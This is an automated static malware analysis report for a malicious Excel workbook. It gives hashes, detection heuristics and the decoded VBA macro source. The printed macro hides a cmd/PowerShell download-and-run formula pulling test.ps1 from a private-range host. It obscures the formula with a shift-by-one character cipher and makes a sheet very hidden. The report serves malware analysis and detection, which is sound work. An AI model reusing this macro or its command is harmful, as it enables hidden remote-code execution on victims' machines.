Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 dcf68eaeec7a46d0…

MALICIOUS

Office (OOXML)

19.2 KB Created: 2021-03-14 02:05:13 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2021-04-10
MD5: 1f3d4c3ed35713a1067e5a03d4673d0b SHA-1: a6de9ecf8278f2e55c505845095227b1b85bdfa0 SHA-256: dcf68eaeec7a46d0fb20a71ef19bb9d9d8ad35764a86f69b7c9b10505de6dba8
158 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    Range("A1").Value = Itago("=cmd|'/C powershell -exec bypass -windowstyle hidden IEX ( New-Object Net.WebClient).DownloadString(''http://192.168.1.17/test.ps1'')'!A0")
  • VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
    The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
    Matched line in script
    Private Sub Workbook_Open()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Hidden worksheet (veryHidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.1.17/test.ps1 In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2029 bytes
SHA-256: 10e1e35e3fdf6a8caa8b5bf72231a1f7cb77bd93c094a2bc7b8c7556f6d685dc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Dim IsEncoded As Boolean


Private Sub Workbook_BeforeClose(Cancel As Boolean)
If IsEncoded = False Then
Range("A1").Value = Itago("=cmd|'/C powershell -exec bypass -windowstyle hidden IEX ( New-Object Net.WebClient).DownloadString(''http://192.168.1.17/test.ps1'')'!A0")
IsEncoded = True
End If


End Sub





Private Sub Workbook_Open()
Application.ScreenUpdating = False
Call InitiateCode
Application.ScreenUpdating = True
End Sub



Sub InitiateCode()
Application.DisplayAlerts = False
Sheet1.Visible = xlSheetVisible
Sheet2.Visible = xlSheetVeryHidden
Range("A1").Value = Ilabas(Range("A1").Value)
IsEncoded = False
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Attribute VB_Name = "Module1"
Function Itago(a As String) As String

Dim i As Integer
Dim s As String
For i = 1 To Len(a)
    s = Mid(a, i, 1)
    s = Chr(Asc(s) + 1)
    
    Itago = Itago & s
        
Next i

End Function
Function Ilabas(a As String) As String

Dim i As Integer
Dim s As String

For i = 1 To Len(a)
    s = Mid(a, i, 1)
    
    s = Chr(Asc(s) - 1)
    
    Ilabas = Ilabas & s
    
Next i




End Function

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 25088 bytes
SHA-256: e85f91fe7c9e02175dde3258292e622199b5a03b23db90c6344c97ace99c0bce

Open this report in the interactive analyzer, or submit your own file for analysis.